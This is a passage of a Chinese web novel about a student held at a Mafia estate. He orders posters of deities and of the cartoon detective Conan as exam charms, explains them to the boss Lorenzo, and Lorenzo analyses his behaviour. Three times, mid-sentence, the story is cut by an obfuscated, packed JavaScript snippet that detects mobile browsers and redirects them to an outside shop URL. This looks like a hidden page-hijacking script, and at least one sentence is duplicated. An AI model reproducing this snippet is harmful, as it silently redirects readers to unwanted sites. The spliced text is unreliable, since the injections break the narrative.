“那不就剥夺了我购物的乐趣吗?”林恩的声音拔高了一点,“我就想体验一下在网上随便买买买的乐趣。我以前的购物车收藏了几百个东西,一直没钱清空,现在终于有点闲钱了。你知道那种感觉吗?就是坐在家里,动动手指,过几天东西就送到门口了的期待感和满足感。不过我东西有点多,可能得麻烦你们帮我搬上来。” 马可听出了他的潜台词——东西你们先检查,没问题再给我。 马可没有立刻回答。他拿出手机,给洛伦佐发了一条消息。 ‘林恩要网购,需要收货地址。’ “给他一个地址。东西检查后再送上去。” 马可收起手机,抬起头看着林恩。 “地址会发到你手机上。” 林恩笑了,很随意地摆了摆手:“那就谢谢啦,我先回去做题了。”他从椅子上站起来,拿起桌上的空盘子和杯子,放到厨房的水槽里,然后噔噔噔头也不回地上了楼。 马可看着他的背影消失在楼梯口,心想,这个人到底是怎么做到在Mafia总部待得像在自己家一样的? 两天后,快递到了。 马可让人把大大小小的箱子送到了庄园的侧门。他站在门廊下,拆开每一个箱子,仔细检查里面的东西。 第一个箱子,几本厚厚的教材,英文版的,封面花花绿绿,全是是“Econometrics”“Macroeconomics”之类的词。马可快速翻了几页,确认没有夹带任何不该夹带的东西,放回箱子里。 第二个箱子,几本小说,中文的,马可不认识,他只是拆开包装纸翻页检查,没有问题。 第三个纸箱,拆开。一根电动牙刷,白色的,包装盒上印着几个意大利语单词。马可晃了晃盒子,听到里面嗡嗡的震动声,确认只是牙刷。 第四个纸箱,拆开。一筒檀香,用塑料袋密封着,凑近了能闻到一股淡淡的木质香气。马可把筒打开,倒出里面的香,一根一根地检查,确认没有藏东西。 第五个纸箱,拆开。两个招财猫,陶瓷的,一大一小,一只爪子举起来。马可盯着那只猫看了两秒钟,把它放回箱子里。 第六个箱子,两个肩颈按摩仪。灰色的,像两个小枕头,连着电线。马可拿出来捏了捏,质地柔软,没有异常。 第七个纸箱,拆开。一盆绿植。马可不知道这是什么植物,花盆是陶瓷的,白色的,上面印着几行中文。他把花盆转了一圈,确认没有夹层。 第八个纸箱,拆开。一堆中国的零食。辣条、瓜子、话梅、陈皮糖。马可拆开一包“卫龙辣条”,里面是一根根暗红色的条状物,闻起来有一股甜辣的味道。他犹豫了一下,没有吃,放回去。 第九个纸箱,拆开。几幅用绳子扎起来的挂画。长方形的,用牛皮纸包裹着,摸起来像是画轴。 马可解开绳子,打开第一幅。 一个黑胡子的中国人老头,穿着古代的衣服,头戴冠冕,表情威严,面前摆着一张桌子,桌子上放着什么东西。马可盯着那个老头的脸看了几秒钟,不知道是谁。 他放在一边,打开第二幅。 一个白胡子的老爷爷,笑眯眯的,手里拿着一个大元宝,穿着红色的袍子,头顶上有一行字——“招財進寶”。 第三幅,一个光头和尚,盘腿坐在莲花台上,背后有一圈金色的光晕,双手合十,表情慈悲。 马可对这个人有点印象,似乎是中国的一种神佛,但他不确定。 第四幅,一个中国古代老头,长胡子,手里拿着一卷书,穿着古代的衣服,表情严肃,看起来像是一个学者。 第五幅是一个小学生,戴着一副黑框眼镜,穿着一套蓝色的西装,系着红色的蝴蝶结领结,脚上踩着一个足球。他的表情很自信,嘴角挂着一丝微笑,一只手插在口袋里,另一只手指着前方。 马可盯着那个小学生看了很久。 这个踩着足球的小学生,和前面那几个老头,放在一起,到底是什么意思? 他拍了照,然后收起手机,让下属帮忙把所有纸箱搬上二楼。 走廊里,马可站在林恩的房门前,身后堆着大大小小十几个纸箱。他抬起手,敲了三下。 门开了。 林恩站在门口,头发比上次更翘了,衬衫换了一件淡蓝色的,领口有一颗扣子系错了位置。 他看到门口的纸箱山,眼睛瞬间亮了起来。 “到了!”林恩的声音里带着一种压抑不住的雀跃,“都到了?” “都到了。”马可侧身让开,下属们开始把纸箱搬进房间。 “谢谢马可!太谢谢了!”林恩蹲下来,开始拆箱子。他拆东西的动作很快,但很小心,不像是怕弄坏东西,更像是迫不及待地想看到里面的东西。 马可站在旁边,看着他一个一个地拆。 林恩把教材摞在一起,抱进房间,放在书桌旁边的地上。小说放在床头柜上,电动牙刷拿进卫生间,檀香放在书桌的角落。那盆绿植被放在了窗台的正中央,林恩给它浇了点水,满意地点了点头。 肩颈按摩仪被拆开包装,林恩把其中一个U型枕样式的套在脖子上,按下开关,按摩仪发出嗡嗡的声音,林恩的表情从“期待”变成了“舒适”,然后变成了“不想摘下来”。 那些挂画被他暂时放在书桌旁边,似乎是打算之后再挂起来。 零食被一股脑倒进书桌的抽屉里,辣条的包装袋被他拆开,林恩抽出一根塞进嘴里,咀嚼的时候脸上露出一种“久违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449725|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了”的幸福表情。 “马可,”他嘴里嚼着辣条,含糊不清地说,“你要不要尝尝?” 马可看了一眼那包红通通的辣条,摇了摇头。 林恩耸了耸肩,继续拆。 “哦对了,这个是送给你的。”他拿起桌子上另一个肩颈按摩仪递过来。 马可的眉毛微微动了一下。 “为什么?”他问。 “你帮我付了逾期罚款,”林恩说,“我一直记着。这个就当是还你的人情。虽然没多少钱,但是个心意。你天天站着,肩膀肯定不舒服,这个可以缓解肌肉疲劳。” 马可沉默了两秒钟,伸出手接过了按摩仪。 “这个招财猫是送给老板的,”林恩把那只金色的招财猫举起来看了看,“感谢他给我买衣服。虽然那些衣服的价签让我心脏疼了好几天,但穿起来确实舒服。白色的那个我自己留着。” 马可看着手里的按摩仪,又看了看林恩那张因为拆快递而微微泛红的脸。这个留学生,在庄园里住了不到两个星期,已经学会用送礼来建立关系了。 “我帮你转交。”马可说。 “那就谢谢啦。”林恩把招财猫递给马可,然后蹲下来继续收拾那些包装纸。 马可把招财猫揣进口袋,转身走出了房间。 他下了楼梯,穿过走廊,走到书房的门口。 门开着。洛伦佐坐在办公桌后面,面前摊着几份文件,手里拿着一支笔。他抬起头,翠绿色的眼睛看着马可。 洛伦佐坐在办公桌后面,面前摊着几份文件,手里拿着一支笔。他抬起头,翠绿色的眼睛先落在马可的脸上,然后移到他手里的东西上。 “这是什么?”洛伦佐问。 “林恩送的,”马可说,把招财猫放在办公桌上,“感谢您给他买衣服。” 洛伦佐低头看着那只金色的陶瓷猫。猫举着右手,脸上挂着那种标准的、圆滚滚的笑容,胖乎乎的身体上画着红色的花纹,脖子挂着一个金色的小铃铛。 洛伦佐盯着那只猫看了两秒钟,伸手拿起来,翻过来看了看底部。底部有一个圆形的开口,可以看到里面是空心的,什么都没有。他又把猫翻回来,和那只笑眯眯的陶瓷脸对视了大概一秒钟。 “另一个呢?”洛伦佐问。 “按摩仪,”马可说,“林恩说送给我的。感谢我帮他付了逾期罚款。” 洛伦佐的目光落在马可手里的U型枕上,翠绿色的眼睛里闪过一丝微妙的情绪。 “林恩还买了几幅挂画。” 马可从口袋里掏出手机,打开相册,翻到那张挂画的照片,把手机递过去。 洛伦佐接过手机,看着屏幕上的照片。 第一幅,黑胡子的中国人老头。 第二幅,白胡子拿着元宝的老爷爷。 第三幅,光头和尚。 第四幅,拿着书卷的老头。 第五幅,戴着黑框眼镜踩着足球的小学生。 他的表情从第一幅的平静,到第二幅的微微皱眉,到第三幅的困惑,到第四幅的茫然,到第五幅的……彻底凝固。 “这些都是谁?”他问。 马可摇了摇头。 “让他下来。”他说。 马可点了点头,转身走出书房。 他上了二楼,走到林恩的房门口。门打开着,林恩正站在椅子上,手里拿着那个黑胡子的老头挂画,往墙上贴透明胶。 “林恩。” 林恩转过头,手里还举着那幅画。 “BOSS让你下去,”马可说,“现在。” “现在?”林恩从椅子上跳下来,拍了拍手上的灰,“等我一下,我把这幅画挂完——” “现在。” 林恩看了看手里的画,又看了看马可的表情,把画放在椅子上,稍微理了一下翘起来的头发,跟着马可走出了房间。 走廊里,林恩走在马可身后,脖子上还挂着那个按摩仪。 “马可,老板找我什么事?” “不知道。” “是不是我买的快递里有什么违禁品?辣条应该不算违禁品吧?还是那盆竹子?竹子又不是入侵物种——” “林恩。” “在。” “闭嘴。” 林恩闭上了嘴。 他们穿过走廊,下了楼梯,走到书房的门口。马可敲了敲门,里面传来洛伦佐的声音。 “进来。” 马可推开门,侧身让林恩进去,然后退到门外,带上了门。 书房里的光线很柔和。窗帘拉开了一半,午后的阳光从落地窗斜射进来,在深色的实木地板上画出一道长长的光带。洛伦佐坐在办公桌后面,面前摊着几份文件,手里没有拿笔,翠绿色的眼睛正看着林恩。 林恩的第一眼却是就看向了办公桌左上角的那只招财猫。金色的陶瓷猫坐在黄铜台灯旁边,举着右手,脸上挂着那个圆滚滚的、憨厚的笑容。 林恩的目光从招财猫移到洛伦佐的脸上,又移回招财猫。 “老板,”林恩的声音很自然,自然得像是在问“今天晚饭吃什么”,“你找我有什么事吗?” 16. chapter16 别问我为什么一个Mafia的庄园里会出现财神爷和柯南,问就是考试周留学生的精神状态已经到了逢神就拜的地步。 以及,老板问我信仰什么的时候,我差点说“信仰不挂科”。 - 洛伦佐没有立刻说话,他靠在椅背上,翠绿色的眼睛盯着我,让我一时间联想到了黑暗中盯着猎物的蛇。 所以洛伦佐找我到底什么事?买快递买出问题了?辣条不让吃?还是那盆竹子不能养? “解释一下。”他指了指桌子上那只招财猫。 “这是招财猫,老板。”我的内心松了一口气说,“举左爪是招客人,举右爪是招财。这只举的是右爪,所以是招财的。” “我不是问这个。”洛伦佐的声音很平静,“我问的是,你为什么要送我这个。” “因为你给我买了衣服,”我很认真地说,“还有手机、电脑……这是我的一个心意,它可以放在桌上,而且招财猫能带来好运和发财,做生意的都喜欢摆这个,我想老板你看到它心情应该会好一点。” 洛伦佐看着那只金色的陶瓷猫,沉默了几秒钟。 我看着他的沉默,想了想:“是马可给你看了什么?” 洛伦佐抬起头,翠绿色的眼睛里闪过一丝意外。 “什么?” “你叫我来书房,肯定不只是为了招财猫,”我煞有其事地点了点头,“是不是马可给你看了我买的那些画?” 洛伦佐靠在椅背上,双手交叉放在腹部,翠绿色的眼睛看着我,。 “那些画,”他说,“上面画的是谁?” “第一个,黑胡子的那个,”我说,“叫玉皇大帝,是中国神话里地位很高的神仙,算是……天上的皇帝。” 洛伦佐的眉毛微微动了一下。“皇帝?” “对,就是管所有神仙的,”我比划了一下,“有点像希腊神话里的宙斯。” 洛伦佐点了点头,那个表情像是在说“继续”。 “第二个,白胡子拿元宝的那个,叫财神爷,”我说,语速快了一些,“管财运的,就是……让人发财的。很多人会在商店或者家里摆他的像,求生意兴隆。” 洛伦佐看了一眼桌上那只招财猫,又看了一眼我。 “所以你有两个招财的。”他说。 “多多益善,”我说,“一个管进账,一个管留存。” 洛伦佐的嘴角微微动了一下,眼里却闪过一丝好笑。 “第三个,光头的那个,叫如来佛祖,”我说,“是佛教里的人物,地位很高的那种。” “管什么的?” 我眨了眨眼,如来佛祖管什么的?管取经?管降妖?管把孙悟空压在五行山下?那些都不是正确答案。 “管……慈悲和智慧的,”我想了想,“大概是保佑人心平气和,不着急不上火。” 洛伦佐端起咖啡杯喝了一口,没有评价。 “第四个,拿着书卷的那个老头,叫孔子,”我说,“是中国古代很有名的思想家、教育家,他的思想影响了几千年。学生们会拜他,祈求学业顺利。” “学业顺利?” “对,”我说,“孔子就是教育的祖师爷,我们都想要祖师爷保佑。” 洛伦佐放下了咖啡杯,翠绿色的眼睛看着我,那个表情像是在说“还有最后一个”。 我的喉咙动了一下。 “第五个,戴着黑框眼镜踩着足球的那个小学生,”我说,声音小了一点,“叫江户川柯南,是日本动画片里的角色。” “动画片。”洛伦佐的眉毛微微挑了起来。 “对,动画片,”我说,“他是一个很厉害的小学生,破案能力特别强。” “你拜一个动画片里的小学生,祈求学业顺利?” “不是拜,”我赶紧纠正,“就是……挂着。因为他名字里的‘柯南’,用中文念出来,和‘挂科难’很像。” 洛伦佐的眉毛皱了一下。“挂科难?” “挂科就是考试不及格,”我解释,“挂科难就是考试不会不及格。所以很多学生会把他的画像贴在墙上,或者设成手机壁纸,祈求不挂科。” 洛伦佐沉默了。 他沉默了大概三秒钟,然后缓缓开口。 “你买了一幅动画片小学生的画像,”他的声音很慢,像是在确认一个难以置信的事实,“因为你认为他的名字和‘考试不及格很难’发音相似。” “差不多是这个意思,”我点了点头。 洛伦佐闭上眼,深吸一口气,睁开眼。 “你马上要考试,”他看着我,翠绿色的眼睛里那个“这个人到底是怎么回事”的意味极为明显,“所以买了几幅神的画像,想考前拜一拜,希望保佑你不挂科。” “对,”我点头,“考试周嘛,总得有点仪式感。” 洛伦佐看着我的表情很奇怪,仿佛在看一个长着两个头五个翅膀的鸟在他面前跳华尔兹:“你的信仰到底是哪个?” 这个问题让我思考了一会儿。 “平时不怎么信,”我实话实说,“也就考试前拜一拜。反正不要钱,拜了没坏处,万一灵了呢?” 洛伦佐盯着我看了两秒钟。“如果你拜了,没有起作用呢?” “那就换别的,”我的语气理所当然,“上帝、耶稣、观音、雅典娜、文曲星、亚当.斯密,哪个灵信哪个。多拜几个,防止其中有人没空保佑我。” 书房里安静了片刻。 洛伦佐靠在椅背上,翠绿色的眼睛看着天花板,嘴唇微微抿着,那个表情很难描述。像是一种介于“我是不是在做梦”和“这个人到底脑子是怎么想的”之间的茫然。 我看着他那个表情,忽然想起来一件事。 意大利是基督教国家,大部分意大利人信天主教。洛伦佐虽然是个Mafia,但他应该也是信上帝的。 我好像在庄园里看到过一个十字架。 我的后背冒出一层薄汗。 “老板,”我小心翼翼地说,“我记得你们意大利人是信上帝的。” 洛伦佐的视线从天花板移到我脸上。 “那我向你保证,”我的语速快了起来,“不买上帝和玛利亚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449726|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画像,不贴不挂不拜。考试的时候我保证只拜东方神系,绝对不侵犯您的宗教领地。” 洛伦佐的手指停在桌面上。 他看着我,嘴角慢慢弯起一个弧度。那个弧度比嘲讽温柔一些,比无奈锋利一些,像是被什么东西噎住了,又像是觉得什么东西很好笑但不想让我看出来。 “你的神,”他一个字一个字地说,“还分东方和西方?” “分,”我说,“业务范围不重叠。东方神管东半球,西方神管西半球,各管各的,互不干扰。我在意大利考试,按理说应该归西方的神管,但我从小拜的是东方的神,临时换系统怕兼容性不好,所以还是继续用老系统比较保险。” 洛伦佐闭上眼睛,似乎在思考“我要不要把这个人赶出去”。 “所以,”他的声音很轻,“你买了四个东方神,一个日本小学生,准备在意大利的考试前拜一拜。” “对,”我说,“但我还买了檀香,到时候摆上,显得心诚。” 洛伦佐睁开眼看着我,翠绿色的眼睛里映出我那张认真到欠揍的脸。 “不许点。” “好的,不点火,我就摆上去。” “你可以出去了。” “好的老板。” 我转身走了两步,又停下来。 “老板。” “又怎么了?” “那个招财猫,”我说,指了指办公桌上那只金色的陶瓷猫,“记得给它换个朝向。猫爪子要对着门口,才能把财招进来。对着墙的话,招的是空气。” 洛伦佐的目光从招财猫上移到我脸上。 “林恩。” “在。” “你再多说一句,”他微笑着说,那个笑容温柔得让我想夺门而出,“我就把它扔出去。” 我熟练地闭嘴,转身走向门口。 走到门口的时候,我听到身后传来一个声音。 “复习得怎么样了?” “索洛模型看完了,等下复习黄金律水平的条件,稳态的收敛速度和储蓄率变动的影响。” 洛伦佐没有接话。 我等了两秒钟,确认他没有要继续问的意思,拉开门走了出去。 走廊里,马可靠在墙上,双手插在口袋里,面无表情地看着前方。他看到我出来,目光在我的脸上停了一秒,然后移开。 “谈完了?”他问。 “谈完了。” 马可没有接话,他跟着我上了二楼。 我继续把那些还没有挂的画贴上,玉皇大帝和财神爷并排贴在书桌正上方,如来佛祖贴在窗台旁边,孔子贴在衣柜门上。柯南在书桌对面的墙上。 我把檀香从快递箱里翻出来,拆开包装,把三根香插在笔筒里。没有香炉,笔筒也行,反正心意到了。 我对着那三根没点燃的香,闭上眼,虔诚地拜了拜。 玉皇大帝、财神爷、如来佛祖、孔老爷子、柯南,哪个有空帮我看一眼。下周二考试,索洛模型、异方差性、工具变量法,别考太偏的题。考过了我回来还愿,多买几根香,再多买一包辣条。 17. chapter17 谢邀,人在Mafia庄园,刚复习完黄金律水平。 别问我为什么能在这种地方静下心来学习,问就是当卧室门口站着一个一米九的黑西装壮汉、楼下住着一个随时能把你沉海的BOSS时,你会发现,数学公式是这个庄园里最安全的东西。 以及,我就知道没人不喜欢招财猫。 --- 林恩离开书房之后,门在他身后轻轻合上。鞋子踩在大理石地板上的声音逐渐远去,从近到远,从清晰到模糊,最后被走廊尽头的拐角吞没。 书房里安静了大约三分钟。 洛伦佐靠在椅背上,食指指腹缓缓摩挲着咖啡杯的陶瓷边缘。那只金色的招财猫坐在黄铜台灯旁边,举着右爪,圆滚滚的瓷脸上挂着傻乎乎的笑容。 他看着那只猫,嘴角弯起一个连他自己都没完全意识到的弧度。 然后他抬起手,用两根修长的手指捏住招财猫的底座,把它转了九十度。 猫爪子对准了书房的门。 洛伦佐收回手,端起咖啡杯喝了一口。凉了,酸味比热的时候更明显,但他没有放下杯子,把最后一口凉透的咖啡喝完,将杯子放回托盘里。 他抬起翠绿色的眼睛,看向门口。 “马可,进来,把西里森也叫来。” 门被推开了,两个人走进来,恭敬地站在离书桌半米远的位置。 洛伦佐靠在椅背上,双手交叉放在腹部,翠绿色的眼睛先落在马可身上,然后移到西里森身上,最后又移回马可。 “你们对他的看法,”他的声音不大,很平淡,“说说看。” 马可和西里森对视了一眼。 西里森先开了口,声音沉稳,像在汇报一次例行任务。 “作息规律。每天早上七点到七点半之间起床,晚上凌晨一点到两点之间睡觉。除了吃饭和必要的下楼拿东西,大部分时间都待在房间里。活动内容包括看网课、做题、跑数据、跟同学开线上会议,偶尔会看看小说。网购的物品以教材、零食和生活用品为主,没有发现任何可疑的通讯行为。” 他顿了顿。 “昨天下午三点十四分,他在试图用房间里的胶囊咖啡机做一杯抹茶拿铁。” 洛伦佐的眉毛挑起。 “结果呢?” “咖啡机堵了,”西里森面无表情地说,“他花了二十分钟用一根棉签把抹茶粉从出水口里抠出来,期间用中文自言自语了大约四分钟,语速太快,我没完全听清,但捕捉到了几个关键词。” “什么关键词?” “大意是‘为什么意大利人发明了这么厉害的咖啡机却不能兼容抹茶’以及‘这个世界对抹茶爱好者的恶意’。” 洛伦佐沉默了一瞬,端起咖啡杯,又放下了。 “马可。” 马可沉默了几秒钟,这对他来说是常态。他说话之前总是要先在脑子里把句子组装好,然后再从嘴里吐出来。 “他没有试图逃跑,没有试图联系外界,没有任何可疑的举动,他只是在问问题。” “哪些问题?” “WiFi密码,咖啡胶囊的补充频率,洗衣房的开放时间,能不能开学术会议,能不能用厨房做中餐,能不能买快递,能不能把快递里的挂画贴在墙上。” 马可的声音没有任何感情色彩,似乎只是在读一份清单,但洛伦佐听出来了,这种态度就是一个信号。 “你怎么看?” 马可沉默了三秒。这是他思考时的习惯,洛伦佐知道,所以没有催促。 “他不正常。”马可说。 洛伦佐的眉毛微微挑了一下。 “哪种不正常?” “正常人在被软禁的情况下,不会关心抹茶拿铁。” 西里森在旁边微微点了一下头,幅度很小,但立场非常明确。 洛伦佐没有说话,靠在椅背上,手指在桌面上轻轻叩着,节奏很慢。 安静持续了大概七八秒钟。 然后他又笑了,翠绿色的眼眸深处溢出点点笑意。男人拿起桌上那只招财猫,在手里转了一圈,猫爪子在灯光下晃了晃。 “你们觉得他不正常,”洛伦佐说,神情中带上了说不清道不明的愉悦点,“是因为你们用正常人的标准去套他。” 他把招财猫放回桌面,猫爪子重新对准了门口。 “他的每一个行为,在你们的框架里是‘不正常’,在他自己的框架里,是完全自洽的。” 洛伦佐拿起笔,在面前的一张白纸上画了一个圈。 “第一天,他闯进仓库,目睹了一场处决。正常人的反应是什么?” “恐惧,求饶,崩溃。”西里森说。 “他做了什么?” “解释自己需要全勤奖学金,”马可说,语气里带着一丝微妙的起伏,“用翻译软件。” “对,”洛伦佐的笔尖在纸上轻轻点了一下,“因为他当时的认知框架是‘我是一个走错路的无辜学生’,他的目标是‘让这个看起来像老大的人相信我是无辜的’。恐惧当然有,但他的大脑没有把资源分配给‘表达恐惧’,而是分配给了‘构建说服逻辑’。” “他的脑子在算,跑,死的概率百分之百;不跑,死的概率未知,但小于百分之百,所以他选择不跑。” 他在圆圈里写了一个词:理性。 “第二件事,我给了他黑卡。正常人的反应是什么?” “狂喜、恐惧、或者怀疑,不知所措。”西里森说。 “他做了什么?” 马可的嘴角微微抽了一下。“他要求验证额度,要求转账到自己的账户,然后问税后还是税前。” “因为在他的框架里,”洛伦佐的笔尖继续在纸上移动,“黑卡不是一个‘改变命运的礼物’,而是一笔‘需要评估风险和收益的资产’。他的大脑自动启动了财务分析模式,合同、税务、汇率、手续费,这些对于他来说,比‘我被Mafia绑走了’更真实。” 他在纸上又写了一个词:务实。 “第三件事,卢卡奥来签合同。正常人的反应是什么?” “紧张,快速签字,不敢细看。”西里森说。 “他做了什么?” “逐条比对三个语言版本,”马可回忆起当时的景象,忍不住又为卢卡奥感到了一丝丝同情,“找出十几处问题,要求修改管辖条款、加班费标准、竞业限制补偿,然后要求一封推荐信。” “因为在他的框架里,”洛伦佐说,翠绿色的眼睛里闪过一丝欣赏,“合同不是权力的象征,是权利义务的界定工具。他签过烂合同,吃过亏,所以他的大脑里有一套完整的‘合同审查算法’。不管对面坐的是Mafia还是上市公司,这套算法都会启动。” “他知道我能随时杀了他。但他还是谈了。因为他算过,如果我需要他的能力,他在谈合同的时候就是安全的,他在用自己的价值对冲自己的风险。” 他在纸上写下了第三个词:规则。 三个词并排躺在白纸上——理性、务实、规则。 洛伦佐把笔放下,双手交叉放在桌面上。 “你们看到的是一个不正常的人,”洛伦佐的声音很轻,“我看到的是一个在极端环境下依然保持认知框架稳定的人。” 西里森皱了一下眉。“BOSS,你的意思是……” “他不是不害怕,”洛伦佐说,“他只是不把算力分配给‘表达害怕’这件事。他的大脑有一套优先级系统,排在第一位的是‘理解当下的处境并找到最优解’,排在第二位的是‘确保自己的长期利益不受损’,排在第三位的是‘保持日常生活的基本秩序以维持心理稳定’。” 他看了一眼桌上那只招财猫。 “排在最后一位的,才是‘表达情绪’。” 马可沉默了片刻。 “所以他问我WiFi密码的时候,”他慢慢地说,“不是因为他不害怕,是因为在他的优先级系统里,连上WiFi看网课比坐在房间里害怕更重要。” “对。”洛伦佐的嘴角弯了一下。 “所以他问我能不能在借用厨房做中餐,”西里森接过话头,“是因为他在给自己构筑心理的安全环境。” “正确。” “所以他送您招财猫,”马可看了一眼桌上那只金色的陶瓷猫,“不是为了讨好您,是因为您给他买了衣服,他觉得应该等价回馈。” 洛伦佐的手指在桌面上轻轻叩了一下。 “这个倒不一定,”男人翠绿色的眼睛里闪过一丝玩味,“等价的情感回馈是表层逻辑,而深层逻辑是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449727|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 他拿起那只招财猫,在手里转了一圈。 “他在测试我。” 马可和西里森同时愣了一下。 “他送我这只猫,”那双如野兽般的翠绿瞳眸深处泛起点点涟漪,“表面上是一个感谢的礼物。实际上,他在观察我的反应。” 他把招财猫放回桌面,猫爪子重新对准门口。 “如果我收了,说明我对他的‘好意’有接受度。如果我拒了,说明我对‘来自他的任何东西’都持排斥态度。如果我没反应,说明我根本不在意他这个人。” 洛伦佐给自己又倒了一杯咖啡,越过杯沿注视马可和西里森。 “我把它放在桌上,还叫他来解释那些画,这个反应本身就是他想要的信息。” 马可的眉头微微皱了起来:“什么信息?” “他在确认自己的安全边界,”洛伦佐放下咖啡杯,“一个被软禁的人,最大的恐惧是什么?” “不知道什么时候会被处理掉。”西里森说。 “不确定性是最大的恐惧源。”洛伦佐点头,“所以他做的每一件事,都在试图降低这种不确定性。” 他伸出一根手指。 “签合同,是把‘不确定的处置’变成‘确定的雇佣关系’。” 他伸出第二根手指。 “问WiFi密码、问咖啡胶囊、问洗衣房,是把‘不确定的软禁环境’变成‘确定的日常生活’。” 他伸出第三根手指。 “送礼物、聊天、问你们要不要喝粥,是把‘不确定的人际关系’变成‘确定的社交网络’。” 洛伦佐把三根手指收回来,握成一个松松的拳头。 “他并不是在讨好你们,他是在给自己建立安全锚点。每多一个锚点,他在这个环境里的不确定性就降低一分,他的心理状态就能稳定一分。” 书房里安静了几秒钟。落地窗外的阳光在深色地板上缓缓移动,尘埃在光柱里无声地旋转。 西里森率先打破了沉默,声音里带着一种微妙的惊讶。 “所以他送您招财猫,同样是在给自己建立安全锚点?” “并不只是安全锚点,”洛伦佐说,嘴角弯起一个弧度,“他还想看看,我到底是一个可以被‘情绪’影响的人,还是一个完全不受外界干扰的人。前者意味着我的行为有规律可循,后者意味着我的行为完全随机。” 他的手指在招财猫的脑袋上轻轻弹了一下,陶瓷发出清脆的一声叮。 “不管答案是哪一个,他都能获得信息。如果他足够聪明,他甚至能从我的反应里推测出我对他的真实态度。” 马可沉默了很久,然后又一次开口了。 “所以他问我能不能帮他搬行李的时候,故意提到电饭煲和电热毯,是为了测试我的容忍度。” “正确。” “所以他申请线上会议权限和聚会许可的时候,故意把中国留学生的报警习惯说得那么详细——” “是在告诉我,”洛伦佐接过话头,翠绿色的眼睛里光芒一闪,“‘如果我出事,会有很多人来找我,你会很麻烦’。” 他靠回椅背,嘴角那个弧度慢慢扩大。 “这是一种很聪明的威胁方式。他告诉我,他不是一个可以被无声处理掉的孤立的个体。他背后有一个群体会在七十二小时内启动找人程序,会报警,会联系大使馆,会让事情闹大,所以他用一种无害的方式,给我画了一条红线。” 洛伦佐端起咖啡杯,却发现杯子已经空了。他看了一眼杯底,把它放回桌面。 “他在用经济学的逻辑跟我对话。” 洛伦佐的声音里带着一种近乎欣赏的语气:“做任何事之前先评估风险和成本。他在告诉我‘处理他的成本很高’,用方式是‘我有一个会在七十二小时内报警的社交网络’。” 他轻轻摇了摇头,翠绿色的眼睛里映出台灯的光。 “他把自己的社交关系,包装成了一个‘风险管理问题’,用我能容忍的方式,递到了我面前。” 马可的手指在膝盖上蜷了一下。 “您之所以同意他去参加聚会——” “是因为他让我相信,不让他去的风险大于让他去的风险。”洛伦佐说,“他用他的语言,说服了我。” 18. chapter18 别问我为什么一个经济学留学生的脑子里会出现“BOSS行为分析”这个条目,问就是在这座庄园里,看懂洛伦佐比看懂黄金律水平更重要。 以及,原著里那个洛伦佐,和我面前这个看得懂经济学概念的洛伦佐,这之间的差距大概等于食堂宣传照和实际出餐。 - 书房里再次安静下来。这一次的沉默比之前更长。 马可看着桌上那只招财猫,金灿灿的陶瓷在灯光下泛着温暖的光。他想起林恩递给他按摩仪时那个随意的笑容,想起那句“你帮我付了逾期罚款,我一直记着”。 他当时以为那只是单纯的感谢。 现在他知道了,那也是一次测试。 西里森显然也在思考类似的问题。他的眉头拧在一起,手指在椅子扶手上轻轻敲着。 “BOSS,”他终于开口了,声音比之前慢了一些,“如果他真的像您分析的这么……聪明,那他为什么不想办法离开?” 洛伦佐看着西里森,翠绿色的眼睛里闪过一丝笑意。 “因为他聪明。” “真正聪明的人,”洛伦佐说,声音慢悠悠的,“不会在赢面为零的时候下注。他评估过逃跑的成本和收益,风险是被抓回来沉海,收益是回到那个月租四百欧、热水器要烧四十分钟的出租屋。” 他的嘴角弯起一个弧度。 “成本无限大,收益无限小,这笔账,他算得可比我清楚。” 马可的喉咙动了一下。 “所以他留下来——” “是最理性的选择。”洛伦佐接过话头,“而且他不仅留下来了,还给自己在这个环境里创造了最大程度的舒适和自由。地暖、热水、咖啡、WiFi、新电脑、新衣服、网购权限、线上会议、聚会许可。” 他一个一个地数着,每数一个,手指就在桌面上轻轻点一下。 “刚来时,他是一个被软禁的囚犯。而现在,他是一个有合同、有工资、有福利、有社交自由的外聘顾问。他把自己的处境,从‘待处理的目击者’升级成了‘有用的资产’。” 洛伦佐停了下来,翠绿色的眼睛看着马可和西里森。 “你们觉得,这是运气吗?” 马可沉默了,西里森也沉默了。 洛伦佐拿起桌上的笔,在白纸上画了第二个圆圈,和第一个圆圈交叉在一起。 “他是一个把自己伪装成无害小白兔的棋手,”他说,笔尖在两个圆圈的交集处点了一下,“而有趣的是——” 他抬起头,翠绿色的眼睛里映出窗外的阳光,嘴角慢慢弯起一个弧度,就像是猎手看到猎物突然回头咬了自己一口时的玩味。 